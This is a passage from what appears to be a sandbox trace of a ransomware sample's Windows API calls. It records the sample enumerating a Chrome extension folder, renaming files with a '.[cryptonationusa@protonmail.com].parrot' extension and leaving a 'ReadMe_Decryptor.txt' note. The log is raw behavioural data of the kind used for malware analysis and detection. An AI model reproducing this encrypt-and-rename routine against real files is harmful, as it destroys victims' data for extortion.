cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb724c040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb724c040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb724c040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb724c040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb724c040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb724c040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb72721a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb72721a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb72721a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb72721a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb72721a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb72721a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7298300, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7298300, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7298300, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7298300, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb72be460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb72be460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb72be460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb72be460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb72be460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb72be460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb72e45c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb72e45c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb72e45c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb72e45c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb72e45c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb72e45c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb737cb40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb737cb40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb737cb40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb737cb40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb73c8e00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb73c8e00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb73c8e00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb73c8e00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb73eef60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb73eef60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb73eef60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb73eef60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb74150c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb74150c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0070.212] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb74150c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb74150c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0070.213] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb74150c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb74150c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0070.213] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb743b220, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb743b220, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0070.213] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb743b220, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb743b220, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0070.213] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7461380, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7461380, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0070.213] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7461380, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7461380, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0070.213] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb74874e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb74874e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0070.213] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb74874e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb74874e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0070.213] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb74ad640, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb74ad640, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0070.213] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb74ad640, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb74ad640, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0070.213] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb74ad640, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb74ad640, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0070.213] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7545bc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7545bc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0070.213] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7545bc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7545bc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0070.213] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7545bc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7545bc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0070.213] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0070.213] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.213] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.213] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.213] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.213] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85347ad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x628aed00, ftLastWriteTime.dwHighDateTime=0x1d0f5b2, nFileSizeHigh=0x0, nFileSizeLow=0x2769, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1 [0070.214] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2881, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.214] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.214] ReadFile (in: hFile=0x1fc, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0070.216] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.216] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2769, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x2769, lpOverlapped=0x0) returned 1 [0070.217] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.218] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2881, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.218] CloseHandle (hObject=0x1fc) returned 1 [0070.218] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.220] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0070.220] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb756bd20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb756bd20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.220] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb756bd20, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb756bd20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb756bd20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0070.251] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0070.251] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb711b540, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb711b540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.253] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85639950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb70f53e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0x0, dwReserved1=0x0, cFileName="128.png.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="128PNG~1.PAR")) returned 1 [0070.253] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, 